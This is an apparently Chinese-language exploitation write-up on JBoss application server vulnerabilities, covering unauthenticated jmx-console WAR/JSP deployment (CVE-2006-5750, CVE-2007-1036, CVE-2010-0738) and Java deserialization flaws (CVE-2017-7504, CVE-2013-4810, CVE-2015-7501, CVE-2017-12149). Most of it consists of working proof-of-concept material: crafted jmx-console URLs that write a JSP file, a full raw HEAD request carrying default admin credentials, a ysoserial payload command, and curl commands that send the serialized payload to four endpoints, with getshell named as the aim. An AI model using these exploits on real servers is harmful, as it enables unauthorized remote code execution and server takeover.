JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss高危漏洞主要涉及到以下两种。
CVE-2007-1036
,CVE-2010-0738
,CVE-2006-5750
以及void addURL()
void deploy()
上传war包。CVE-2015-7501
,CVE-2017-7504
,CVE-2017-12149
,CVE-2013-4810
。CVE-2007-1036
,CVE-2010-0738
,CVE-2006-5750
CVE-2007-1036
,CVE-2010-0738
,CVE-2006-5750
都是利用的一个地方,CVE-2006-5750,CVE-2007-1036是这个地址的两种不同访问方式导致两种未授权访问漏洞,CVE-2010-0738是CVE-2007-1036的绕过。
漏洞页面如下:
http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
poc如下,会生成 http://192.168.10.128:8080/b/b.jsp
页面,页面内容是 test
http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=b.war&arg1=b&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True
poc如下,会生成http://192.168.10.128:8080/b/b.jsp
页面,页面内容是 test
http://192.168.64.129:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=c.war&argType=java.lang.String&arg1=c&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&argType=boolean&arg4=True
数据包如下,会http://192.168.10.128:8080/b/b.jsp
页面,页面内容是test,注意是HEAD请求
HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=a.war&arg1=a&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True HTTP/1.1
Host: 192.168.10.128:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=EB1FF2DBD5FAE956570012622CA45C8D
Connection: close
这两种都是利用的整个后台的未授权访问,或者弱口令登录后台,然后部署war包,进而getshell
远程上传war访问地址
http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
远程上传war包访问地址:
http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
之前爆出来的反序列化漏洞主要有 CVE-2017-7504
CVE-2013-4810
CVE-2015-7501
CVE-2017-12149
,但其实利用方式完全一致,都是因为某个接口接收序列化数据后会进行反序列化进而触发反序列化漏洞。
所以这些漏洞payload可以共用一个,只是请求的路径不一样。(网上给出的影响范围并不靠谱,使用vulhub的CVE-2017-7504测试环境,jboss版本为4.0.5,以下四个漏洞全部测试成功,所以并不能单纯靠看版本号来确定是不是存在漏洞)
利用方式如下:
生成payload
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > 1.ser
# CVE-2017-7504
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
# CVE-2013-4810
curl http://your-ip:8080/invoker/EJBInvokerServlet --data-binary @1.ser
# CVE-2015-7501
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser
# CVE-2017-12149
curl http://your-ip:8080/invoker/readonly --data-binary @1.ser
每次请求后都能生成一个success文件
可根据页面来简单判断是否存在漏洞,分别访问这四个页面:
/jbossmq-httpil/HTTPServerILServlet
:
/invoker/EJBInvokerServlet
:
/invoker/JMXInvokerServlet
:
/invoker/readonly
:
用vulhub搭建CVE-2017-12149漏洞环境,用脚本验证 发现除 /jbossmq-httpil/HTTPServerILServlet
外其他三个漏洞皆利用成功
访问地址 发现这个页面不存在